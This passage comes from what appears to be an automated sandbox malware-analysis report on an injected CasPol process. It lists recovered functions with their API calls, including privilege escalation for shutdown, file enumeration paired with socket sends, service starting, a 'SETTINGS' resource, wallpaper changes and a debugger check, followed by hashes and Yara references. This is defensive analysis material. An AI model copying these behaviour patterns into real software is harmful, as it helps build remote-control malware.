                                                                                    • Instruction Fuzzy Hash: 3001A23168410597CA0477B5ED6F8AE3624E921704F50017FF802731E2FF3A9A0586DE
                                                                                    Function 00416AB7 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 32COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetCurrentProcess.KERNEL32(00000028,?), ref: 00416AC4
                                                                                    • OpenProcessToken.ADVAPI32(00000000), ref: 00416ACB
                                                                                    • LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00416ADD
                                                                                    • AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00416AFC
                                                                                    • GetLastError.KERNEL32 ref: 00416B02
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ProcessToken$AdjustCurrentErrorLastLookupOpenPrivilegePrivilegesValue
                                                                                    • String ID: SeShutdownPrivilege
                                                                                    • API String ID: 3534403312-3733053543
                                                                                    • Opcode ID: e04eb0b34037921419aad719b93aaa051d7dc20f4e189cf25d4eb9764effedfd
                                                                                    • Instruction ID: c28276ca820f5d67da4083ad645d4fedab17ddc29f560671af9b7c8b6b4fa774
                                                                                    • Opcode Fuzzy Hash: e04eb0b34037921419aad719b93aaa051d7dc20f4e189cf25d4eb9764effedfd
                                                                                    • Instruction Fuzzy Hash: 25F0D4B5805229BBDB10ABA1EC4DEEF7EBCEF05656F100061B805E2192D6748A44CAB5
                                                                                    Function 004089A9 Relevance: 9.3, APIs: 6, Instructions: 288fileCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • __EH_prolog.LIBCMT ref: 004089AE
                                                                                      • Part of subcall function 004041F1: socket.WS2_32(?,00000001,00000006), ref: 00404212
                                                                                      • Part of subcall function 0040428C: connect.WS2_32(?,?,?), ref: 004042A5
                                                                                    • FindFirstFileW.KERNEL32(00000000,?,?,?,00000064), ref: 00408A8D
                                                                                    • FindNextFileW.KERNEL32(00000000,?), ref: 00408AE0
                                                                                    • FindClose.KERNEL32(000000FF,?,?,?,?,?,?), ref: 00408AF7
                                                                                      • Part of subcall function 00404468: WaitForSingleObject.KERNEL32(?,00000000,00401943,?,?,00000004,?,?,00000004,00475B70,00473EE8,00000000), ref: 0040450E
                                                                                      • Part of subcall function 00404468: SetEvent.KERNEL32(?,?,?,00000004,?,?,00000004,00475B70,00473EE8,00000000,?,?,?,?,?,00401943), ref: 0040453C
                                                                                      • Part of subcall function 004047EB: WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,00000000,?,00404B8E,?,?,?,00404B26), ref: 004047FD
                                                                                      • Part of subcall function 004047EB: SetEvent.KERNEL32(?,?,?,?,00000000,?,00404B8E,?,?,?,00404B26), ref: 00404808
                                                                                      • Part of subcall function 004047EB: CloseHandle.KERNEL32(?), ref: 00404811
                                                                                    • __CxxThrowException@8.LIBVCRUNTIME ref: 00408DA1
                                                                                      • Part of subcall function 00404468: send.WS2_32(?,00000000,00000000,00000000), ref: 004044FD
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Find$CloseEventFileObjectSingleWait$Exception@8FirstH_prologHandleNextThrowconnectsendsocket
                                                                                    • String ID:
                                                                                    • API String ID: 4043647387-0
                                                                                    • Opcode ID: 34a35fb80ce348306b7ea12774f85c8e72a5665ed38fc8cc2b943c529c65861d
                                                                                    • Instruction ID: d7705bc86650fd6632c5f082d335fbcd32bd3fe840799e2454ee74f5ab9ae988
                                                                                    • Opcode Fuzzy Hash: 34a35fb80ce348306b7ea12774f85c8e72a5665ed38fc8cc2b943c529c65861d
                                                                                    • Instruction Fuzzy Hash: 11A15C729001089ACB14EBA1DD92AEDB778AF54318F10427FF546B71D2EF385E498B98
                                                                                    Function 00419BC4 Relevance: 9.0, APIs: 6, Instructions: 39serviceCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • OpenSCManagerW.ADVAPI32(00000000,00000000,00000010,00000000,?,?,0041981A,00000000,00000000), ref: 00419BCD
                                                                                    • OpenServiceW.ADVAPI32(00000000,00000000,00000010,?,?,0041981A,00000000,00000000), ref: 00419BE2
                                                                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,0041981A,00000000,00000000), ref: 00419BEF
                                                                                    • StartServiceW.ADVAPI32(00000000,00000000,00000000,?,?,0041981A,00000000,00000000), ref: 00419BFA
                                                                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,0041981A,00000000,00000000), ref: 00419C0C
                                                                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,0041981A,00000000,00000000), ref: 00419C0F
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Service$CloseHandle$Open$ManagerStart
                                                                                    • String ID:
                                                                                    • API String ID: 276877138-0
                                                                                    • Opcode ID: b329c8b03f607fc556bfe747d7dfe709dacdcffe937466b951116c7124fc47ce
                                                                                    • Instruction ID: 9ab78235182221d9a13884b701025ebbd4d22640777282bd149d85cf0e5c5631
                                                                                    • Opcode Fuzzy Hash: b329c8b03f607fc556bfe747d7dfe709dacdcffe937466b951116c7124fc47ce
                                                                                    • Instruction Fuzzy Hash: 46F0E971404314AFD2115B31FC88DBF2AACEF85BA2B00043AF54193191CF68CD4595B9
                                                                                    Function 004158B9 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 97libraryloadershutdownCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 00416AB7: GetCurrentProcess.KERNEL32(00000028,?), ref: 00416AC4
                                                                                      • Part of subcall function 00416AB7: OpenProcessToken.ADVAPI32(00000000), ref: 00416ACB
                                                                                      • Part of subcall function 00416AB7: LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00416ADD
                                                                                      • Part of subcall function 00416AB7: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00416AFC
                                                                                      • Part of subcall function 00416AB7: GetLastError.KERNEL32 ref: 00416B02
                                                                                    • ExitWindowsEx.USER32(00000000,00000001), ref: 0041595B
                                                                                    • LoadLibraryA.KERNEL32(PowrProf.dll), ref: 00415970
                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 00415977
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ProcessToken$AddressAdjustCurrentErrorExitLastLibraryLoadLookupOpenPrivilegePrivilegesProcValueWindows
                                                                                    • String ID: PowrProf.dll$SetSuspendState
                                                                                    • API String ID: 1589313981-1420736420
                                                                                    • Opcode ID: 70035bef8a8482817f5ed11c5e7eeb401def3e9ea01ea4c5943ce5132b462a45
                                                                                    • Instruction ID: 94bd0be5b4d635cf3270abd21b93e0cba208aed3fdadf5553bbce7524c8ebf13
                                                                                    • Opcode Fuzzy Hash: 70035bef8a8482817f5ed11c5e7eeb401def3e9ea01ea4c5943ce5132b462a45
                                                                                    • Instruction Fuzzy Hash: 7D2150B0604741E6CA14F7B19856AEF225A9F80748F40883FB402A72D2EF7CDC89865E
                                                                                    Function 004511E3 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetLocaleInfoW.KERNEL32(FDE8FE81,2000000B,00000000,00000002,00000000,?,?,?,00451502,?,00000000), ref: 0045127C
                                                                                    • GetLocaleInfoW.KERNEL32(FDE8FE81,20001004,00000000,00000002,00000000,?,?,?,00451502,?,00000000), ref: 004512A5
                                                                                    • GetACP.KERNEL32(?,?,00451502,?,00000000), ref: 004512BA
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: InfoLocale
                                                                                    • String ID: ACP$OCP
                                                                                    • API String ID: 2299586839-711371036
                                                                                    • Opcode ID: 3e26eff85c0b030be7827b2fbb91fc7191fc27f2fce1bf15d40cdf94764cc661
                                                                                    • Instruction ID: bcb6c1b5649eca6e102b6d6ca9fa22aa61ab34f591545d84575f60c76f210f03
                                                                                    • Opcode Fuzzy Hash: 3e26eff85c0b030be7827b2fbb91fc7191fc27f2fce1bf15d40cdf94764cc661
                                                                                    • Instruction Fuzzy Hash: 50212722600100A6D7348F54D900BAB73A6AB40B66F1645E6FD09E7322F736DD49C799
                                                                                    Function 0041A63F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 25COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • FindResourceA.KERNEL32(SETTINGS,0000000A,00000000,?,0040E183,00000000), ref: 0041A650
                                                                                    • LoadResource.KERNEL32(00000000,?,?,0040E183,00000000), ref: 0041A664
                                                                                    • LockResource.KERNEL32(00000000,?,?,0040E183,00000000), ref: 0041A66B
                                                                                    • SizeofResource.KERNEL32(00000000,?,?,0040E183,00000000), ref: 0041A67A
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Resource$FindLoadLockSizeof
                                                                                    • String ID: SETTINGS
                                                                                    • API String ID: 3473537107-594951305
                                                                                    • Opcode ID: e32b0715ad7aadeb38a8c4a618404dc1e86643bbbf9351d1ef3d996740a46f90
                                                                                    • Instruction ID: 83a829ee02157d331b98a48cb758db5ec39b6d120b3a3db205f860a33549a403
                                                                                    • Opcode Fuzzy Hash: e32b0715ad7aadeb38a8c4a618404dc1e86643bbbf9351d1ef3d996740a46f90
                                                                                    • Instruction Fuzzy Hash: 3EE01A3A200710ABCB211BA5BC8CD477E39E7867633140036F90582331DA358850CA59
                                                                                    Function 00407A8C Relevance: 7.7, APIs: 5, Instructions: 183fileCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • __EH_prolog.LIBCMT ref: 00407A91
                                                                                    • FindFirstFileW.KERNEL32(00000000,?,00465AA0,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00407B4A
                                                                                    • FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00407B6E
                                                                                    • FindClose.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00407C76
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Find$File$CloseFirstH_prologNext
                                                                                    • String ID:
                                                                                    • API String ID: 1157919129-0
                                                                                    • Opcode ID: afbe0c78addfd1fe1d4ebc6b55e9774795b3d026fa1d08a9208b54e180043126
                                                                                    • Instruction ID: c296e4c637b16ec180f1d25cf2666c4e6f2336455dd814d501b84ef2841b6e91
                                                                                    • Opcode Fuzzy Hash: afbe0c78addfd1fe1d4ebc6b55e9774795b3d026fa1d08a9208b54e180043126
                                                                                    • Instruction Fuzzy Hash: 485173329041085ACB14FB65DD969DD7778AF50318F50417EB806B31E2EF38AB498B99
                                                                                    Function 0044800F Relevance: 7.7, APIs: 5, Instructions: 171timeCOMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0045D478), ref: 00448079
                                                                                    • WideCharToMultiByte.KERNEL32(00000000,00000000,0047179C,000000FF,00000000,0000003F,00000000,?,?), ref: 004480F1
                                                                                    • WideCharToMultiByte.KERNEL32(00000000,00000000,004717F0,000000FF,?,0000003F,00000000,?), ref: 0044811E
                                                                                    • _free.LIBCMT ref: 00448067
                                                                                      • Part of subcall function 00446AC5: HeapFree.KERNEL32(00000000,00000000), ref: 00446ADB
                                                                                      • Part of subcall function 00446AC5: GetLastError.KERNEL32(0000000A,?,0044FA50,0000000A,00000000,0000000A,00000000,?,0044FCF4,0000000A,00000007,0000000A,?,00450205,0000000A,0000000A), ref: 00446AED
                                                                                    • _free.LIBCMT ref: 00448233
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ByteCharMultiWide_free$ErrorFreeHeapInformationLastTimeZone
                                                                                    • String ID:
                                                                                    • API String ID: 1286116820-0
                                                                                    • Opcode ID: c081d488f34b9915cd9b048b6b498da186ffe618eda021c7ed3f66206b9427ec
                                                                                    • Instruction ID: adcac59616ce0bf4d9b6f5e4feac4fc1c4b096f081e8a0f87c9a15d47e4c4f65
                                                                                    • Opcode Fuzzy Hash: c081d488f34b9915cd9b048b6b498da186ffe618eda021c7ed3f66206b9427ec
                                                                                    • Instruction Fuzzy Hash: 13510B719002099BE714DF69DC819AFB7BCEF41354F10456FE454A32A1EF389E46CB58
                                                                                    Function 00406AC2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 86fileCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • FindFirstFileW.KERNEL32(00000000,?,?,?,00000000), ref: 00406ADD
                                                                                    • FindNextFileW.KERNEL32(00000000,?,?,?,00000000), ref: 00406BA5
                                                                                      • Part of subcall function 00404468: send.WS2_32(?,00000000,00000000,00000000), ref: 004044FD
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: FileFind$FirstNextsend
                                                                                    • String ID: x@G$x@G
                                                                                    • API String ID: 4113138495-3390264752
                                                                                    • Opcode ID: a8f7eea59e91c06644f6a958b0b0fcf8cb394d5864f2785748c83d4b13fddec0
                                                                                    • Instruction ID: 9df0c8526107c53e8273efc1e688d8f669138e67c86485f4ac558c26d22f9560
                                                                                    • Opcode Fuzzy Hash: a8f7eea59e91c06644f6a958b0b0fcf8cb394d5864f2785748c83d4b13fddec0
                                                                                    • Instruction Fuzzy Hash: B42147725043015BC714FB61D8959AF77A8AFD1358F40093EF996A31D1EF38AA088A9B
                                                                                    Function 0041BB77 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 83COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • SystemParametersInfoW.USER32(00000014,00000000,00000000,00000003), ref: 0041BC6C
                                                                                      • Part of subcall function 004126D2: RegCreateKeyA.ADVAPI32(80000001,00000000,?), ref: 004126E1
                                                                                      • Part of subcall function 004126D2: RegSetValueExA.KERNEL32(?,HgF,00000000,?,00000000,00000000), ref: 00412709
                                                                                      • Part of subcall function 004126D2: RegCloseKey.KERNEL32(?), ref: 00412714
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CloseCreateInfoParametersSystemValue
                                                                                    • String ID: Control Panel\Desktop$TileWallpaper$WallpaperStyle
                                                                                    • API String ID: 4127273184-3576401099
                                                                                    • Opcode ID: f4ba7aec24a953ef4b92a26ea97f229a08492362b077529f009aa708e5b31fc0
                                                                                    • Instruction ID: a6c166168c7895b99543370299e99232025f4d6daba66cbb636fef562e17b9dc
                                                                                    • Opcode Fuzzy Hash: f4ba7aec24a953ef4b92a26ea97f229a08492362b077529f009aa708e5b31fc0
                                                                                    • Instruction Fuzzy Hash: 06112432B8060433D514303A4E6FBAE1806D356B60FA4415FF6026A6DAFA9E5AE103DF
                                                                                    Function 00408DA7 Relevance: 6.2, APIs: 4, Instructions: 206fileCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • __EH_prolog.LIBCMT ref: 00408DAC
                                                                                    • FindFirstFileW.KERNEL32(00000000,?), ref: 00408E24
                                                                                    • FindNextFileW.KERNEL32(00000000,?), ref: 00408E4D
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: FileFind$FirstH_prologNext
                                                                                    • String ID:
                                                                                    • API String ID: 301083792-0
                                                                                    • Opcode ID: 31790f828c392afa232191d11ff8bc0f8b84cf3cfa5ee74fabc000db9bac9bdb
                                                                                    • Instruction ID: 60446431aa0b45b5fc099c057f6d50f3e7887136e12703af2d86415be67689ac
                                                                                    • Opcode Fuzzy Hash: 31790f828c392afa232191d11ff8bc0f8b84cf3cfa5ee74fabc000db9bac9bdb
                                                                                    • Instruction Fuzzy Hash: 357140328001099BCB15EBA1DC919EE7778AF54318F10427FE856B71E2EF386E45CB98
                                                                                    Function 00450E6A Relevance: 4.7, APIs: 3, Instructions: 205COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 00446EBF: GetLastError.KERNEL32(?,?,0043931C,?,00000000,?,0043B955,00000000,00000000), ref: 00446EC3
                                                                                      • Part of subcall function 00446EBF: _free.LIBCMT ref: 00446EF6
                                                                                      • Part of subcall function 00446EBF: SetLastError.KERNEL32(00000000,00000000,00000000), ref: 00446F37
                                                                                      • Part of subcall function 00446EBF: _abort.LIBCMT ref: 00446F3D
                                                                                      • Part of subcall function 00446EBF: _free.LIBCMT ref: 00446F1E
                                                                                      • Part of subcall function 00446EBF: SetLastError.KERNEL32(00000000,00000000,00000000), ref: 00446F2B
                                                                                    • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00450EBE
                                                                                    • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00450F0F
                                                                                    • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00450FCF
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ErrorInfoLastLocale$_free$_abort
                                                                                    • String ID:
                                                                                    • API String ID: 2829624132-0
                                                                                    • Opcode ID: 022617d048d67c565bd8cd478daba609af81f9e307d0efc84ddd0a3e182c2dec
                                                                                    • Instruction ID: e92eb603d23812efeda5bde14236c6fbce748c008cf001f3fb8de25b7fcb8669
                                                                                    • Opcode Fuzzy Hash: 022617d048d67c565bd8cd478daba609af81f9e307d0efc84ddd0a3e182c2dec
                                                                                    • Instruction Fuzzy Hash: AC61D3365002079FDB289F24CD82BBB77A8EF04706F1041BBED05C6696E778D989DB58
                                                                                    Function 0043A65D Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • IsDebuggerPresent.KERNEL32(?,?,?,?,?,0000000A), ref: 0043A755
                                                                                    • SetUnhandledExceptionFilter.KERNEL32 ref: 0043A75F
                                                                                    • UnhandledExceptionFilter.KERNEL32(?), ref: 0043A76C
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ExceptionFilterUnhandled$DebuggerPresent
                                                                                    • String ID:
                                                                                    • API String ID: 3906539128-0
                                                                                    • Opcode ID: 3fa352bae2dd0906ed67bad857870cf194ce26166e1b5da63b4ea542d53f5057
                                                                                    • Instruction ID: 15fc2c217458336097e8e19d69e2940e7c5a4b77666d4e23b7e272f62fea865b
                                                                                    • Opcode Fuzzy Hash: 3fa352bae2dd0906ed67bad857870cf194ce26166e1b5da63b4ea542d53f5057
                                                                                    • Instruction Fuzzy Hash: 2D31D47490121CABCB21DF64D98979DBBB8BF08310F5052EAE81CA7251E7349F81CF49
                                                                                    Function 0044D5E9 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114COMMON
                                                                                    Download Yara Rule
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID: .
                                                                                    • API String ID: 0-248832578
                                                                                    • Opcode ID: abd6fd6b538380b102c55790d6b56a2ac58ff5115e1efa51d285ee8eb71cff1a
                                                                                    • Instruction ID: db76f937e81630575b2700384d205b0ac401e8f874fa32e43cac1aabc581782c
                                                                                    • Opcode Fuzzy Hash: abd6fd6b538380b102c55790d6b56a2ac58ff5115e1efa51d285ee8eb71cff1a
                                                                                    • Instruction Fuzzy Hash: CB310471900209AFEB249E79CC84EEB7BBDDB86318F1101AEF91897251E6389D458B64
                                                                                    Function 00450D42 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 00446EBF: GetLastError.KERNEL32(?,?,0043931C,?,00000000,?,0043B955,00000000,00000000), ref: 00446EC3
                                                                                      • Part of subcall function 00446EBF: _free.LIBCMT ref: 00446EF6
                                                                                      • Part of subcall function 00446EBF: SetLastError.KERNEL32(00000000,00000000,00000000), ref: 00446F37
                                                                                      • Part of subcall function 00446EBF: _abort.LIBCMT ref: 00446F3D
                                                                                    • EnumSystemLocalesW.KERNEL32(00450E6A,00000001,00000000,?,<D,?,00451497,00000000,?,?,?), ref: 00450DB4
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ErrorLast$EnumLocalesSystem_abort_free
                                                                                    • String ID: <D
                                                                                    • API String ID: 1084509184-3866323178
                                                                                    • Opcode ID: 99518e0148a584110f8bf4689e731d5402797eff59b4f7bbd4ab81c0230e503e
                                                                                    • Instruction ID: b1cdb4a87285138648e71eec5b58018a028c0508cbf90fbfa4a5e64eba390ba2
                                                                                    • Opcode Fuzzy Hash: 99518e0148a584110f8bf4689e731d5402797eff59b4f7bbd4ab81c0230e503e
                                                                                    • Instruction Fuzzy Hash: 9C11293B2007055FDB189F79D8916BAB7A1FF8031AB14442DE94647741D375B846C744
                                                                                    Function 00450DDD Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 42COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 00446EBF: GetLastError.KERNEL32(?,?,0043931C,?,00000000,?,0043B955,00000000,00000000), ref: 00446EC3
                                                                                      • Part of subcall function 00446EBF: _free.LIBCMT ref: 00446EF6
                                                                                      • Part of subcall function 00446EBF: SetLastError.KERNEL32(00000000,00000000,00000000), ref: 00446F37
                                                                                      • Part of subcall function 00446EBF: _abort.LIBCMT ref: 00446F3D
                                                                                    • EnumSystemLocalesW.KERNEL32(004510BA,00000001,?,?,<D,?,0045145B,<D,?,?,?,?,?,00443CEC,?,?), ref: 00450E29
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ErrorLast$EnumLocalesSystem_abort_free
                                                                                    • String ID: <D
                                                                                    • API String ID: 1084509184-3866323178
                                                                                    • Opcode ID: e0c48b72e2c1269c4cdc51d0e461bd75820cdd7fcb75359b91497d16354a5322
                                                                                    • Instruction ID: d323619e2976bd52c5edaa4f55efd93dda7e8b303aa23e489220a9c0c916f3e4
                                                                                    • Opcode Fuzzy Hash: e0c48b72e2c1269c4cdc51d0e461bd75820cdd7fcb75359b91497d16354a5322
                                                                                    • Instruction Fuzzy Hash: 5BF0223A2003045FDB145F3AD882AAB7B95EF81729B25842EFD058B782D275AC42C644
                                                                                    Function 00447597 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetLocaleInfoW.KERNEL32(00000000,00000002,00000000,?,20001004,?,20001004,?,00000002,?,?,?,?,00000004), ref: 004475EA
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: InfoLocale
                                                                                    • String ID: GetLocaleInfoEx
                                                                                    • API String ID: 2299586839-2904428671
                                                                                    • Opcode ID: e6c87920e06762166a5833a65f3cc1d4ab5ad226655bcee6b6e0faca9150eed0
                                                                                    • Instruction ID: 80a81796b135a3e0eaabc3ca7fb48afb6b687e063e78a0117ef0368584b3b56e
                                                                                    • Opcode Fuzzy Hash: e6c87920e06762166a5833a65f3cc1d4ab5ad226655bcee6b6e0faca9150eed0
                                                                                    • Instruction Fuzzy Hash: 82F0F031A44308BBDB11AF61EC06F6E7B25EF04712F00416AFC046A2A2CB359E11969E
                                                                                    Function 00450A7F Relevance: 3.2, APIs: 2, Instructions: 236COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 00446EBF: GetLastError.KERNEL32(?,?,0043931C,?,00000000,?,0043B955,00000000,00000000), ref: 00446EC3
                                                                                      • Part of subcall function 00446EBF: _free.LIBCMT ref: 00446EF6
                                                                                      • Part of subcall function 00446EBF: SetLastError.KERNEL32(00000000,00000000,00000000), ref: 00446F37
                                                                                      • Part of subcall function 00446EBF: _abort.LIBCMT ref: 00446F3D
                                                                                    • IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00443CF3,?,?,?,?,?,?,00000004), ref: 00450B61
                                                                                    • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,00443CF3,00000000,00443E13), ref: 00450CA2
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ErrorLast$CodeInfoLocalePageValid_abort_free
                                                                                    • String ID:
                                                                                    • API String ID: 1661935332-0
                                                                                    • Opcode ID: 11e9d858be2eef57e51fe3ee5abaff11ba74f3cf781d1ad02b19bd3dc5989495
                                                                                    • Instruction ID: a02e79dc60b90d06ce6287b0e519d5a2a37574338541b46fb9e412c2f7ec0900
                                                                                    • Opcode Fuzzy Hash: 11e9d858be2eef57e51fe3ee5abaff11ba74f3cf781d1ad02b19bd3dc5989495
                                                                                    • Instruction Fuzzy Hash: D7613B79600306AAD729AB75CC82AAB73ACEF05316F14052FFD05D7243E778E909C768
